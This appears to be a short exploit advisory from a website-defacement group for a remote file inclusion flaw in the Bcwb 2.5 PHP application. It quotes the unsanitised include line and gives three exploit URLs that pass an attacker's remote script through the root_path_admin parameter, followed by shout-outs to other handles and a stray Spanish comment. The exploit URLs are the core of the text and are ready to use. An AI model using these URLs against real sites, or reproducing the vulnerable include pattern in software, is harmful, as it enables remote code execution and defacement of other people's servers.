####################### Firewall #########################
                                 Bcwb 2.5 - Multiple File Include by Firewall
                                           Latin   American   Defacers
                                              Bug Found by Firewall

# Application Affect:
                    Bcwb 2.5

# Sorce Code:             
         http://prdownloads.sourceforge.net/bcwb/bcwb_v25.zip?download

# Code:
       if(! include($root_path_admin.'lang/'.$default_language.'.inc.php') ) die("Can't include ".$root_path.'lang/'.$default_language.'.inc.php');

# ExPloit :
   http://www.site.com/Bcwb_PATH/include/startup.inc.php?root_path_admin=[Evil Script]

http://www.site.com/Bcwb_PATH/dcontent/default.css.php?root_path_admin=[Evil Script]

http://www.site.com/Bcwb_PATH/system/default.css.php?root_path_admin=[Evil Script]       

# GrEatZ :
Her0,slackwaren,slappter,Cvir.System,Mnox,NitroNet,Matasanos,Hanowars,
ANtrAX,napster,saok,Zlevyn,FaLENcE,Azrael,CyberAlexis,krhonoz.

####################### Firewall #########################

http://www.securityfocus.com/archive/1/450069/30/0/threaded

bueno tio quisas tu seas un profesional q' aya estudiado pero yo soy un simple aficionado